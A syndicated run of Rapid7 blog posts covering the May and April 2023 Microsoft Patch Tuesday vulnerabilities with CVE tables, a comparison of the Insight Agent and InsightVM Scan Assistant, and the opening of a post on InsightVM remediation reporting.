Microsoft has provided a supplementary guidance article specifically calling out the threat posed by BlackLotus malware, which loads ahead of the operating system on compromised assets, and provides attackers with an array of powerful evasion, persistence, and Command & Control (C2) techniques, including deploying malicious kernel drivers, and disabling Microsoft Defender or Bitlocker.

Administrators should be aware that additional actions are required for remediation of CVE-2023-24932 beyond simply applying the patches. The patch enables the configuration options necessary for protection, but administrators must apply changes to UEFI config after patching. Attack surface is not limited to physical assets, either; Windows assets running on some VMs, including Azure assets with Secure Boot enabled, also require these extra remediation steps for protection. Rapid7 has noted in the past that enabling Secure Boot is a foundational protection against driver-based attacks. Defenders ignore this vulnerability at their peril.

Zero-day vulnerability: RTF OLE RCE

The second of this month’s zero-day trio is an RCE vulnerability targeting Outlook users, as well as Windows Explorer. The vulnerability is in the proprietary Microsoft Object Linking and Embedding (OLE) layer, which allows embedding and linking to documents and other objects, and the Microsoft bulletin for CVE-2023-29336 suggests that the attack is likely conducted via a specially-crafted Rich Text File (RTF). All current versions of Windows are vulnerable, and viewing the malicious file via the Preview pane is one route to exploitation; however, successful exploitation requires an attacker to win a race condition and to otherwise prepare the target environment. This should significantly reduce the real-world impact of this vulnerability. Mitigations include disabling the Preview Pane, as well as configuring Outlook to read all emails in plain text mode. Microsoft is not aware of public disclosure, but has detected in-the-wild exploitation.

Zero-day vulnerability: Win32k LPE to SYSTEM

Rounding out this month’s trio of zero-day vulnerabilities is a Win32k Local Privilege Escalation (LPE) vulnerability. Successful exploitation will result in SYSTEM privileges. Win32k is a kernel-space driver responsible for aspects of the Windows GUI. As Rapid7 has noted in the past, the Win32k sub-system offers reliable attack surface that is not configuration-dependent. Although LPE vulnerabilities may seem less immediately concerning than a remote exploit, attackers frequently chain them together with other vulnerabilities to achieve full control over remote resources. Microsoft assesses attack complexity as low, and is aware of in-the-wild exploitation.

Critical RCE: NFS, MSQS, SharePoint Server, SSTP, LDAP

The remaining five RCE vulnerabilities this month include two with high CVSSv3 base scores of 9.8.

Although Microsoft is not aware of public disclosure or in-the-wild exploitation, Network File System (NFS) RCE vulnerability CVE-2023-24941 is a network attack with low complexity affecting Windows assets running NFS v4.1. As a mitigation prior to patching, Microsoft recommends disabling NFSv4.1 and then re-enabling it once the patch is applied, although this may impact functionality. OIder versions of NFS (NFSv3 and NFSv2) are not affected by this vulnerability. Microsoft warns that assets which haven’t been patched for over a year would be vulnerable to CVE-2022-26937 which is a Critical vulnerability in NFSV2.0 and NFSV3.0. In other words: applying today’s mitigation to an asset missing the May 2022 patches would effectively cause a downgrade attack.

CVE-2023-24943 describes a vulnerability in Windows Pragmatic General Multicast (PGM), and is a concern only for assets running Windows Message Queuing Service (MSQS) in a PGM environment. Microsoft recommends newer alternatives to PGM in the advisory. A further two critical RCE for MSQS were patched last month, and the continued flow of vulnerabilities suggests that MSQS will continue to be an area of interest for security researchers. Although MSQS is not installed by default, some software, including some versions of Microsoft Exchange Server, will helpfully enable it as part of their own installation routine.

Another candidate for inclusion in an exploit chain is SharePoint RCE CVE-2023-24955, which requires the attacker to authenticate as Site Owner to run code on the SharePoint Server host. Microsoft assesses this one as Exploitation More Likely, due in part to the low attack complexity. SharePoint Server 2016, 2019, and Subscription Edition are all vulnerable until patched. Anyone still running SharePoint Server 2013 should upgrade immediately, as May 2023 is the first Patch Tuesday after the end of ESU; absence of evidence of vulnerability is by no means evidence of absence.

Long-standing Patch Tuesday entrant Windows Secure Socket Tunneling Protocol (SSTP) provides CVE-2023-24903 this month, which is a critical RCE involving sending a specially crafted SSTP packet to an SSTP server and winning a race condition. This qualifies as high attack complexity, and Microsoft considers exploitation less likely.

The final Critical RCE this month is CVE-2023-28283, which is also a high-complexity network-vector attack involving a race condition. In this case, the attack is conducted via a specially-crafted set of LDAP calls.

Summary Charts

Patch Tuesday - May 2023
Several of the usual suspects are notable by their absence this month.
Patch Tuesday - May 2023
It’s hard to imagine Patch Tuesday without Remote Code Execution vulnerabilities.
Patch Tuesday - May 2023
It would be surprising if the CVSSv3 base score chart for almost any random sample of vulnerabilities didn’t look similar to this.
Patch Tuesday - May 2023
Perhaps a coincidence, but two of the three most prominent cells in this heatmap include zero-day vulnerabilities.

Summary Tables

Browser vulnerabilities

CVE Title Exploited? Publicly disclosed? CVSSv3 base score
CVE-2023-29350 Microsoft Edge (Chromium-based) Elevation of Privilege Vulnerability No No 7.5
CVE-2023-29354 Microsoft Edge (Chromium-based) Security Feature Bypass Vulnerability No No 4.7
CVE-2023-2468 Chromium: CVE-2023-2468 Inappropriate implementation in PictureInPicture No No N/A
CVE-2023-2467 Chromium: CVE-2023-2467 Inappropriate implementation in Prompts No No N/A
CVE-2023-2466 Chromium: CVE-2023-2466 Inappropriate implementation in Prompts No No N/A
CVE-2023-2465 Chromium: CVE-2023-2465 Inappropriate implementation in CORS No No N/A
CVE-2023-2464 Chromium: CVE-2023-2464 Inappropriate implementation in PictureInPicture No No N/A
CVE-2023-2463 Chromium: CVE-2023-2463 Inappropriate implementation in Full Screen Mode No No N/A
CVE-2023-2462 Chromium: CVE-2023-2462 Inappropriate implementation in Prompts No No N/A
CVE-2023-2460 Chromium: CVE-2023-2460 Insufficient validation of untrusted input in Extensions No No N/A
CVE-2023-2459 Chromium: CVE-2023-2459 Inappropriate implementation in Prompts No No N/A

Developer Tools vulnerabilities

CVE Title Exploited? Publicly disclosed? CVSSv3 base score
CVE-2023-29343 SysInternals Sysmon for Windows Elevation of Privilege Vulnerability No No 7.8
CVE-2023-29338 Visual Studio Code Information Disclosure Vulnerability No No 5

ESU vulnerabilities

CVE Title Exploited? Publicly disclosed? CVSSv3 base score
CVE-2023-24904 Windows Installer Elevation of Privilege Vulnerability No No 7.1

ESU Windows vulnerabilities

CVE Title Exploited? Publicly disclosed? CVSSv3 base score
CVE-2023-24943 Windows Pragmatic General Multicast (PGM) Remote Code Execution Vulnerability No No 9.8
CVE-2023-24903 Windows Secure Socket Tunneling Protocol (SSTP) Remote Code Execution Vulnerability No No 8.1
CVE-2023-29325 Windows OLE Remote Code Execution Vulnerability No Yes 8.1
CVE-2023-28283 Windows Lightweight Directory Access Protocol (LDAP) Remote Code Execution Vulnerability No No 8.1
CVE-2023-24946 Windows Backup Service Elevation of Privilege Vulnerability No No 7.8
CVE-2023-29336 Win32k Elevation of Privilege Vulnerability Yes No 7.8
CVE-2023-24940 Windows Pragmatic General Multicast (PGM) Denial of Service Vulnerability No No 7.5
CVE-2023-24942 Remote Procedure Call Runtime Denial of Service Vulnerability No No 7.5
CVE-2023-24932 Secure Boot Security Feature Bypass Vulnerability Yes Yes 6.7
CVE-2023-29324 Windows MSHTML Platform Security Feature Bypass Vulnerability No No 6.5
CVE-2023-24900 Windows NTLM Security Support Provider Information Disclosure Vulnerability No No 5.9
CVE-2023-24945 Windows iSCSI Target Service Information Disclosure Vulnerability No No 5.5
CVE-2023-28251 Windows Driver Revocation List Security Feature Bypass Vulnerability No No 5.5

Microsoft Office vulnerabilities

CVE Title Exploited? Publicly disclosed? CVSSv3 base score
CVE-2023-29344 Microsoft Office Remote Code Execution Vulnerability No No 7.8
CVE-2023-24953 Microsoft Excel Remote Code Execution Vulnerability No No 7.8
CVE-2023-29335 Microsoft Word Security Feature Bypass Vulnerability No No 7.5
CVE-2023-24955 Microsoft SharePoint Server Remote Code Execution Vulnerability No No 7.2
CVE-2023-24881 Microsoft Teams Information Disclosure Vulnerability No No 6.5
CVE-2023-24950 Microsoft SharePoint Server Spoofing Vulnerability No No 6.5
CVE-2023-24954 Microsoft SharePoint Server Information Disclosure Vulnerability No No 6.5
CVE-2023-29333 Microsoft Access Denial of Service Vulnerability No No 3.3

Windows vulnerabilities

CVE Title Exploited? Publicly disclosed? CVSSv3 base score
CVE-2023-24941 Windows Network File System Remote Code Execution Vulnerability No No 9.8
CVE-2023-24947 Windows Bluetooth Driver Remote Code Execution Vulnerability No No 8.8
CVE-2023-24949 Windows Kernel Elevation of Privilege Vulnerability No No 7.8
CVE-2023-24902 Win32k Elevation of Privilege Vulnerability No No 7.8
CVE-2023-24905 Remote Desktop Client Remote Code Execution Vulnerability No No 7.8
CVE-2023-29340 AV1 Video Extension Remote Code Execution Vulnerability No No 7.8
CVE-2023-29341 AV1 Video Extension Remote Code Execution Vulnerability No No 7.8
CVE-2023-24898 Windows SMB Denial of Service Vulnerability No No 7.5
CVE-2023-24901 Windows NFS Portmapper Information Disclosure Vulnerability No No 7.5
CVE-2023-24939 Server for NFS Denial of Service Vulnerability No No 7.5
CVE-2023-24948 Windows Bluetooth Driver Elevation of Privilege Vulnerability No No 7.4
CVE-2023-24899 Windows Graphics Component Elevation of Privilege Vulnerability No No 7
CVE-2023-24944 Windows Bluetooth Driver Information Disclosure Vulnerability No No 6.5
CVE-2023-28290 Microsoft Remote Desktop app for Windows Information Disclosure Vulnerability No No 5.3

Using Rapid7 Insight Agent and InsightVM Scan Assistant in Tandem

Post Syndicated from John Hartman original https://blog.rapid7.com/2023/04/26/using-rapid7-insight-agent-and-insightvm-scan-assistant-in-tandem/

Background

Using Rapid7 Insight Agent and InsightVM Scan Assistant in Tandem

Rapid7 Insight Agent and InsightVM Scan Assistant are executables that can be deployed to assist in understanding the vulnerabilities in your environment. Frequently there are questions around when and where you would deploy each, if you need both, what they actually monitor, etc. This article will answer those questions, but first let’s look at each executable in more detail.

Rapid7 Insight Agent

Notice the name of this starts with Rapid7. This is important, because the Insight Agent can be used for multiple tools, primarily InsightVM and InsightIDR. However, the agent does different things for each. For InsightIDR, the agent monitors process start and stop events and has log collection abilities. For InsightVM, the Insight Agent is used for assessment of vulnerabilities. In this article, we’ll focus on using Insight Agent for InsightVM.

The Insight Agent performs an “assessment” roughly every six hours. Notice the word “assessment” and not “scan”. The Insight Agent has the permissions necessary to gather information about the asset that it is installed on and then forward that information directly to the Insight Platform. The Insight Platform then forwards that data to the InsightVM Security Console. The Security Console then takes that data and runs it against a scan template to determine what vulnerabilities that asset has. Once done, the Security Console updates its own database with the results for that asset and then on the interval of communication with the Insight Platform it will forward the assessment results back to the Insight Platform.

With the Insight Agent, you do not determine a scan schedule or have the ability to kick off ad hoc or remediation scans on that asset. As noted above, assessments occur every six hours. However, not every agent is being assessed on the same six hour interval. The schedule is maintained entirely by the Insight Platform.

Another key takeaway about the communication path mentioned above: The Insight Agent does not communicate directly to the console. This makes Insight Agent particularly beneficial when it comes to protecting your remote workforce. Given that remote assets are not on your network, you typically cannot scan them directly. So, Insight Agent is the main option to view the vulnerabilities for those assets.

Recently, Rapid7 released the ability to perform Policy Scans using the Insight Agent as well. This ability is limited to assets that are available for the installation of the InsightAgent though (Windows, Linux, Mac), however that typically covers a large portion of the policy scanning needed. Policy scanning occurs every 12 hours.

InsightVM Documentation: Insight Agents with InsightVM

InsightVM Scan Assistant

The InsightVM Scan Assistant executable is solely dedicated to InsightVM and is configured to display a certificate on port 21047. The Scan Assistant can only be used when being accessed from a scan engine (distributed or local). Unlike the Insight Agent, which monitors and performs assessments on a scheduled basis, the Scan Assistant is dormant unless called upon by a Scan Engine either through a manual or scheduled scan configured from the Security Console.

For this to work, first you must generate a certificate from InsightVM in the credential setup. Then, you need to edit any scan templates being used to additionally look for port TCP 21047 on both Asset and Service discovery. From there, the Scan Engine will use those credentials and look for that port to be open on the endpoint servers. If the certificate being presented on that port matches the certificate created within InsightVM, the scan engine will use it to authenticate to the endpoint asset. The Scan Assistant has the permissions necessary to perform all local checks on the endpoint asset.

Using the Scan Assistant instead of regular domain credentials offers better security, as it eliminates the possibility of a domain account with elevated permissions to be used in your environment. Additionally, the Scan Assistant has proven to be more efficient and perform scans quicker than domain credentials.

InsightVM Documentation: Using the Scan Assistant

So why use both?

As stated above, the two executables are completely independent of each other. The Insight Agent communicates to the platform whereas the Scan Assistant talks directly to the Scan Engine performing the scan. The Insight Agent is not configurable in its scheduled assessment whereas the Scan Assistant is completely dormant until scanned and is completely reliant on an administrator configuring scanning.

So, WHERE should each executable be installed? I would suggest having the Insight Agent on all local and remote assets—everything capable of having the Insight Agent installed. For the Scan Assistant, only internal assets would be applicable. You could install the Scan Assistant on remote assets as well, if you have a policy that requires users to connect to the VPN on set schedules and you plan to scan through that VPN or office wi-fi. However, in most situations, the Insight Agent is the only way to assess your remote assets.

So that brings us to the internal assets that should have BOTH the Insight Agent and the Scan Assistant installed. You might be asking ‘why in the world would I want to deploy yet another executable if the Insight Agent is already performing the assessment on those assets?’ Well, let’s circle back to the fact that the Insight Agent is only performing the local checks. So, you will need to perform at least monthly scanning of those assets to view network vulnerabilities. Additionally, as mentioned above, the Insight Agent is incapable of kicking off an ad-hoc scan. This is where the Scan Assistant comes into play for remediation scans specifically.

Scenario: I have an asset “abc.company.com.” InsightAgent discovers a local vulnerability on the asset at 10AM and it’s only 1030AM. I send the finding off to my system administrator to patch the vulnerability immediately. By 11AM the vulnerability is patched, and I want to verify that the vulnerability has been remediated. Without a credentialed scan, I have to wait another five hours before InsightAgent conducts another assessment. However, with the Scan Assistant I can immediately kick off an authenticated vulnerability scan against that asset to determine that the vulnerability is no longer present.

The other main use case for the Scan Assistant is to take advantage of the full breadth of the Policy Scanning. Currently, InsightAgent can only assess up to 100 different policies and can only assess for the default values of the policies through CIS or DISA.

Using the Scan Assistant with the scan engine you have access to ALL categories of Policy Scans, including CIS, DISA, FDCC, and USGCB. Additionally, you can use the custom policy builder to edit values within typical benchmarks. For example, you might change the minimum password length from 14 characters to 20 characters if that’s what your internal policy dictates.

InsightVM Scan Assistant Rapid7 Insight Agent
Installation Endpoints All internal assets All assets internal and remote
Communication path Scan Engine (Distributed or Local) Insight Platform
Policy Scanning CIS, DISA, FDCC, USGCB, Custom Limited to CIS and DISA
Scheduling Determined by Administrator Every 6 hours handled by Platform
Ad Hoc scans yes no

Patch Tuesday – April 2023

Post Syndicated from Adam Barnett original https://blog.rapid7.com/2023/04/11/patch-tuesday-april-2023/

Patch Tuesday - April 2023

Microsoft is offering fixes for 114 vulnerabilities for in April 2023. This month’s haul includes a single zero-day vulnerability, as well as seven critical Remote Code Execution (RCE) vulnerabilities. There is a strong focus on fixes for Windows OS this month.

Over the last 18 months or so, Rapid7 has written several times about the prevalence of driver-based attacks. This month’s sole zero-day vulnerability – a driver-based elevation of privilege – will only reinforce the popularity of the vector among threat actors. Successful exploitation of CVE-2023-28252 allows an attacker to obtain SYSTEM privileges via a vulnerability in the Windows Common Log File System (CLFS) driver. Microsoft has patched more than one similar CLFS driver vulnerability over the past year, including CVE-2023-23376 in February 2023 and CVE-2022-37969 in September 2022.

Microsoft has released patches for the zero-day vulnerability CVE-2023-28252 for all current versions of Windows. Microsoft is not aware of public disclosure, but has detected in-the-wild exploitation and is aware of functional exploit code. The assigned base CVSSv3 score of 7.8 lands this vulnerability near the top of the High severity range, which is expected since it gives complete control of an asset, but a remote attacker must first find some other method to access the target.

April 2023 also sees 45 separate Remote Code Execution (RCE) vulnerabilities patched, which is a significant uptick from the average of 33 per month over the past three months. Microsoft rates seven of this month’s RCE vulnerabilities as Critical, including two related vulnerabilities with a CVSSv3 base score of 9.8. CVE-2023-28250 describes a vulnerability in Windows Pragmatic General Multicast (PGM) which allows an attacker to achieve RCE by sending a specially crafted file over the network. CVE-2023-21554 allows an attacker to achieve RCE by sending a specially crafted Microsoft Messaging Queue packet. In both cases, the Microsoft Message Queueing Service must be enabled and listening on port 1801 for an asset to be vulnerable. The Message Queueing Service is not installed by default. Even so, Microsoft considers exploitation of CVE-2023-21554 more likely.

The other five Critical RCE this month are spread across various Windows components: Windows Raw Image Extension, Windows DHCP Protocol, and two frequent fliers: Windows Point-to-Point Tunneling Protocol and the Windows Layer 2 Tunneling Protocol.

The RAW Image Extension vulnerability CVE-2023-28921 is another example of what Microsoft refers to as an Arbitrary Code Execution (ACE), explaining “The attack itself is carried out locally. This means an attacker or victim needs to execute code from the local machine to exploit the vulnerability.” For some defenders, this may stretch the definition of the word Remote in Remote Code Execution, but there are many ways to deliver a file to a user, and an unpatched system remains vulnerable regardless.

DHCP server vulnerability CVE-2023-28231 requires an attacker to be on the same network as the target, but offers RCE via a specially crafted RPC call. Microsoft considers that exploitation is more likely.

The hunter becomes the hunted as Microsoft patches a Denial of Service vulnerability in Defender. The advisory for CVE-2023-24860 includes some unusual guidance: “Systems that have disabled Microsoft Defender are not in an exploitable state.” In practice this vulnerability is less likely to be exploited, and the default update cadence for Defender should mean that most assets are automatically patched in a short timeframe.

Windows Server administrators should take note of CVE-2023-28247. Successful exploitation allows an attacker to view contents of kernel memory remotely from the context of a user process. Microsoft lists Windows Server 2012, 2016, 2019, and 2022 as vulnerable. Although Microsoft assesses that exploitation is less likely, Windows stores many secrets in kernel memory, including cryptographic keys.

Machine learning is everywhere these days, and this month’s Patch Tuesday is no exception: CVE-2023-28312 describes a vulnerability in Azure Machine Learning which allows an attacker to access system logs, although any attack would need to be launched from within the same secure network. The advisory contains links to Microsoft detection and remediation guidance.

The other Azure vulnerability this month is a Azure Service Connector Security Feature Bypass. Microsoft rates Attack Complexity for CVE-2023-28300 as High, since this vulnerability is only useful when chained with other exploits to defeat other security measures. However, the Azure Service Connector only updates when the Azure Command-Line Interface is updated, and automatic updates are not enabled by default.

Final curtain call tonight for a raft of familiar names, since April 2023 Patch Tuesday includes the very last round of Extended Security Updates (ESU) for a number of Microsoft products. These include:

As always, the end of ESU means that Microsoft does not expect to patch or even disclose any future vulnerabilities which might emerge in these venerable software products, so it is no longer possible to secure them; these dates have been well-publicized far in advance under the fixed lifecycle policy. No vendor can feasibly support ancient software indefinitely, and some administrators may be glad that they will never have to install another Exchange Server 2013 patch.

Summary Charts

Patch Tuesday - April 2023
Printer Drivers, DNS, and the Windows Kernel.
Patch Tuesday - April 2023
Remote Code Execution and Elevation of Privilege account for the majority as usual. A rare appearance for Tampering.
Patch Tuesday - April 2023
CVSSv3 scoring tends to cluster around certain values.
Patch Tuesday - April 2023
As usual, the distribution of severity skews towards Very Important.
Patch Tuesday - April 2023
Printer drivers and CVEs go hand in hand.

Summary tables

Azure vulnerabilities

CVE Title Exploited? Publicly disclosed? CVSSv3 base score
CVE-2023-28300 Azure Service Connector Security Feature Bypass Vulnerability No No 7.5
CVE-2023-28312 Azure Machine Learning Information Disclosure Vulnerability No No 6.5

Browser vulnerabilities

CVE Title Exploited? Publicly disclosed? CVSSv3 base score
CVE-2023-28284 Microsoft Edge (Chromium-based) Security Feature Bypass Vulnerability No No 4.3
CVE-2023-28301 Microsoft Edge (Chromium-based) Tampering Vulnerability No No 4.2
CVE-2023-24935 Microsoft Edge (Chromium-based) Spoofing Vulnerability No No N/A
CVE-2023-1823 Chromium: CVE-2023-1823 Inappropriate implementation in FedCM No No N/A
CVE-2023-1822 Chromium: CVE-2023-1822 Incorrect security UI in Navigation No No N/A
CVE-2023-1821 Chromium: CVE-2023-1821 Inappropriate implementation in WebShare No No N/A
CVE-2023-1820 Chromium: CVE-2023-1820 Heap buffer overflow in Browser History No No N/A
CVE-2023-1819 Chromium: CVE-2023-1819 Out of bounds read in Accessibility No No N/A
CVE-2023-1818 Chromium: CVE-2023-1818 Use after free in Vulkan No No N/A
CVE-2023-1817 Chromium: CVE-2023-1817 Insufficient policy enforcement in Intents No No N/A
CVE-2023-1816 Chromium: CVE-2023-1816 Incorrect security UI in Picture In Picture No No N/A
CVE-2023-1815 Chromium: CVE-2023-1815 Use after free in Networking APIs No No N/A
CVE-2023-1814 Chromium: CVE-2023-1814 Insufficient validation of untrusted input in Safe Browsing No No N/A
CVE-2023-1813 Chromium: CVE-2023-1813 Inappropriate implementation in Extensions No No N/A
CVE-2023-1812 Chromium: CVE-2023-1812 Out of bounds memory access in DOM Bindings No No N/A
CVE-2023-1811 Chromium: CVE-2023-1811 Use after free in Frames No No N/A
CVE-2023-1810 Chromium: CVE-2023-1810 Heap buffer overflow in Visuals No No N/A

Developer Tools vulnerabilities

CVE Title Exploited? Publicly disclosed? CVSSv3 base score
CVE-2023-28296 Visual Studio Remote Code Execution Vulnerability No No 8.4
CVE-2023-28262 Visual Studio Elevation of Privilege Vulnerability No No 7.8
CVE-2023-24893 Visual Studio Code Remote Code Execution Vulnerability No No 7.8
CVE-2023-28260 .NET DLL Hijacking Remote Code Execution Vulnerability No No 7.8
CVE-2023-28299 Visual Studio Spoofing Vulnerability No No 5.5
CVE-2023-28263 Visual Studio Information Disclosure Vulnerability No No 5.5

ESU SQL Server vulnerabilities

CVE Title Exploited? Publicly disclosed? CVSSv3 base score
CVE-2023-23384 Microsoft SQL Server Remote Code Execution Vulnerability No No 7.3

ESU Windows vulnerabilities

CVE Title Exploited? Publicly disclosed? CVSSv3 base score
CVE-2023-28250 Windows Pragmatic General Multicast (PGM) Remote Code Execution Vulnerability No No 9.8
CVE-2023-21554 Microsoft Message Queuing Remote Code Execution Vulnerability No No 9.8
CVE-2023-28240 Windows Network Load Balancing Remote Code Execution Vulnerability No No 8.8
CVE-2023-21727 Remote Procedure Call Runtime Remote Code Execution Vulnerability No No 8.8
CVE-2023-28275 Microsoft WDAC OLE DB provider for SQL Server Remote Code Execution Vulnerability No No 8.8
CVE-2023-28231 DHCP Server Service Remote Code Execution Vulnerability No No 8.8
CVE-2023-28244 Windows Kerberos Elevation of Privilege Vulnerability No No 8.1
CVE-2023-28268 Netlogon RPC Elevation of Privilege Vulnerability No No 8.1
CVE-2023-28219 Layer 2 Tunneling Protocol Remote Code Execution Vulnerability No No 8.1
CVE-2023-28220 Layer 2 Tunneling Protocol Remote Code Execution Vulnerability No No 8.1
CVE-2023-28272 Windows Kernel Elevation of Privilege Vulnerability No No 7.8
CVE-2023-28293 Windows Kernel Elevation of Privilege Vulnerability No No 7.8
CVE-2023-24912 Windows Graphics Component Elevation of Privilege Vulnerability No No 7.8
CVE-2023-28252 Windows Common Log File System Driver Elevation of Privilege Vulnerability Yes No 7.8
CVE-2023-28241 Windows Secure Socket Tunneling Protocol (SSTP) Denial of Service Vulnerability No No 7.5
CVE-2023-24931 Windows Secure Channel Denial of Service Vulnerability No No 7.5
CVE-2023-28232 Windows Point-to-Point Tunneling Protocol Remote Code Execution Vulnerability No No 7.5
CVE-2023-28217 Windows Network Address Translation (NAT) Denial of Service Vulnerability No No 7.5
CVE-2023-28238 Windows Internet Key Exchange (IKE) Protocol Extensions Remote Code Execution Vulnerability No No 7.5
CVE-2023-28227 Windows Bluetooth Driver Remote Code Execution Vulnerability No No 7.5
CVE-2023-21769 Microsoft Message Queuing Denial of Service Vulnerability No No 7.5
CVE-2023-28302 Microsoft Message Queuing Denial of Service Vulnerability No No 7.5
CVE-2023-28254 Windows DNS Server Remote Code Execution Vulnerability No No 7.2
CVE-2023-28222 Windows Kernel Elevation of Privilege Vulnerability No No 7.1
CVE-2023-28229 Windows CNG Key Isolation Service Elevation of Privilege Vulnerability No No 7
CVE-2023-28218 Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability No No 7
CVE-2023-28216 Windows Advanced Local Procedure Call (ALPC) Elevation of Privilege Vulnerability No No 7
CVE-2023-28305 Windows DNS Server Remote Code Execution Vulnerability No No 6.6
CVE-2023-28255 Windows DNS Server Remote Code Execution Vulnerability No No 6.6
CVE-2023-28278 Windows DNS Server Remote Code Execution Vulnerability No No 6.6
CVE-2023-28256 Windows DNS Server Remote Code Execution Vulnerability No No 6.6
CVE-2023-28306 Windows DNS Server Remote Code Execution Vulnerability No No 6.6
CVE-2023-28307 Windows DNS Server Remote Code Execution Vulnerability No No 6.6
CVE-2023-28308 Windows DNS Server Remote Code Execution Vulnerability No No 6.6
CVE-2023-28223 Windows Domain Name Service Remote Code Execution Vulnerability No No 6.6
CVE-2023-28267 Remote Desktop Protocol Client Information Disclosure Vulnerability No No 6.5
CVE-2023-28228 Windows Spoofing Vulnerability No No 5.5
CVE-2023-28271 Windows Kernel Memory Information Disclosure Vulnerability No No 5.5
CVE-2023-28253 Windows Kernel Information Disclosure Vulnerability No No 5.5
CVE-2023-28298 Windows Kernel Denial of Service Vulnerability No No 5.5
CVE-2023-28266 Windows Common Log File System Driver Information Disclosure Vulnerability No No 5.5
CVE-2023-28276 Windows Group Policy Security Feature Bypass Vulnerability No No 4.4
CVE-2023-21729 Remote Procedure Call Runtime Information Disclosure Vulnerability No No 4.3

Microsoft Dynamics vulnerabilities

CVE Title Exploited? Publicly disclosed? CVSSv3 base score
CVE-2023-28309 Microsoft Dynamics 365 (on-premises) Cross-site Scripting Vulnerability No No 7.6
CVE-2023-28313 Microsoft Dynamics 365 Customer Voice Cross-Site Scripting Vulnerability No No 6.1
CVE-2023-28314 Microsoft Dynamics 365 (on-premises) Cross-site Scripting Vulnerability No No 6.1

Microsoft Office vulnerabilities

CVE Title Exploited? Publicly disclosed? CVSSv3 base score
CVE-2023-28311 Microsoft Word Remote Code Execution Vulnerability No No 7.8
CVE-2023-28287 Microsoft Publisher Remote Code Execution Vulnerability No No 7.8
CVE-2023-28295 Microsoft Publisher Remote Code Execution Vulnerability No No 7.8
CVE-2023-28285 Microsoft Office Graphics Remote Code Execution Vulnerability No No 7.8
CVE-2023-28288 Microsoft SharePoint Server Spoofing Vulnerability No No 6.5

SQL Server vulnerabilities

CVE Title Exploited? Publicly disclosed? CVSSv3 base score
CVE-2023-23375 Microsoft ODBC and OLE DB Remote Code Execution Vulnerability No No 7.8
CVE-2023-28304 Microsoft ODBC and OLE DB Remote Code Execution Vulnerability No No 7.8

System Center vulnerabilities

CVE Title Exploited? Publicly disclosed? CVSSv3 base score
CVE-2023-24860 Microsoft Defender Denial of Service Vulnerability No No 7.5

Windows vulnerabilities

CVE Title Exploited? Publicly disclosed? CVSSv3 base score
CVE-2023-28297 Windows Remote Procedure Call Service (RPCSS) Elevation of Privilege Vulnerability No No 8.8
CVE-2023-24924 Microsoft PostScript and PCL6 Class Printer Driver Remote Code Execution Vulnerability No No 8.8
CVE-2023-24925 Microsoft PostScript and PCL6 Class Printer Driver Remote Code Execution Vulnerability No No 8.8
CVE-2023-24884 Microsoft PostScript and PCL6 Class Printer Driver Remote Code Execution Vulnerability No No 8.8
CVE-2023-24926 Microsoft PostScript and PCL6 Class Printer Driver Remote Code Execution Vulnerability No No 8.8
CVE-2023-24885 Microsoft PostScript and PCL6 Class Printer Driver Remote Code Execution Vulnerability No No 8.8
CVE-2023-24927 Microsoft PostScript and PCL6 Class Printer Driver Remote Code Execution Vulnerability No No 8.8
CVE-2023-24886 Microsoft PostScript and PCL6 Class Printer Driver Remote Code Execution Vulnerability No No 8.8
CVE-2023-24928 Microsoft PostScript and PCL6 Class Printer Driver Remote Code Execution Vulnerability No No 8.8
CVE-2023-24887 Microsoft PostScript and PCL6 Class Printer Driver Remote Code Execution Vulnerability No No 8.8
CVE-2023-24929 Microsoft PostScript and PCL6 Class Printer Driver Remote Code Execution Vulnerability No No 8.8
CVE-2023-28243 Microsoft PostScript and PCL6 Class Printer Driver Remote Code Execution Vulnerability No No 8.8
CVE-2023-28291 Raw Image Extension Remote Code Execution Vulnerability No No 8.4
CVE-2023-28274 Windows Win32k Elevation of Privilege Vulnerability No No 7.8
CVE-2023-28246 Windows Registry Elevation of Privilege Vulnerability No No 7.8
CVE-2023-28225 Windows NTLM Elevation of Privilege Vulnerability No No 7.8
CVE-2023-28237 Windows Kernel Remote Code Execution Vulnerability No No 7.8
CVE-2023-28236 Windows Kernel Elevation of Privilege Vulnerability No No 7.8
CVE-2023-28248 Windows Kernel Elevation of Privilege Vulnerability No No 7.8
CVE-2023-28292 Raw Image Extension Remote Code Execution Vulnerability No No 7.8
CVE-2023-28233 Windows Secure Channel Denial of Service Vulnerability No No 7.5
CVE-2023-28234 Windows Secure Channel Denial of Service Vulnerability No No 7.5
CVE-2023-28247 Windows Network File System Information Disclosure Vulnerability No No 7.5
CVE-2023-28224 Windows Point-to-Point Protocol over Ethernet (PPPoE) Remote Code Execution Vulnerability No No 7.1
CVE-2023-28221 Windows Error Reporting Service Elevation of Privilege Vulnerability No No 7
CVE-2023-28273 Windows Clip Service Elevation of Privilege Vulnerability No No 7
CVE-2023-24914 Win32k Elevation of Privilege Vulnerability No No 7
CVE-2023-28235 Windows Lock Screen Security Feature Bypass Vulnerability No No 6.8
CVE-2023-28270 Windows Lock Screen Security Feature Bypass Vulnerability No No 6.8
CVE-2023-24883 Microsoft PostScript and PCL6 Class Printer Driver Information Disclosure Vulnerability No No 6.5
CVE-2023-28269 Windows Boot Manager Security Feature Bypass Vulnerability No No 6.2
CVE-2023-28249 Windows Boot Manager Security Feature Bypass Vulnerability No No 6.2
CVE-2023-28226 Windows Enroll Engine Security Feature Bypass Vulnerability No No 5.3
CVE-2023-28277 Windows DNS Server Information Disclosure Vulnerability No No 4.9

Using InsightVM Remediation Projects To Ensure Accountability

Post Syndicated from Landon Dalke original https://blog.rapid7.com/2023/04/05/using-insightvm-remediation-projects-to-ensure-accountability/

Using InsightVM Remediation Projects To Ensure Accountability

One benefit of InsightVM reporting is that it enables security teams to build accountability into remediation projects. There are a number of ways this can be accomplished and the approach you take will be dictated by your organization’s specific structure and needs.

In this blog, we’ll look at two types of console-driven reports and two types of cloud-driven reports (projects). Depending on who will be conducting remediations, you may choose one over the others. We’ll explore why in detail below.

Reporting Prerequisites

Before we can get too deep into reporting, some prerequisites need to be met. Mainly, we need scan data in the InsightVM console. To get scan data, we need to perform at least one site run against at least one asset (preferably with credentials or Scan Assistant) or at least one Insight Agent deployed. Whether agent-driven or traditionally scanned, the data will be in the form of a Site in InsightVM.

We can then organize the Site data into logical filters called Dynamic Asset Groups, or DAGs. We can create DAGs based on numerous filters; the most common filters are ‘OS’ or ‘IP address in the range of.’ Using these types of Dynamic Asset Groups allows us to create both OS and location-based organization of our scan data, which can later be used to scope both reports and query builder.

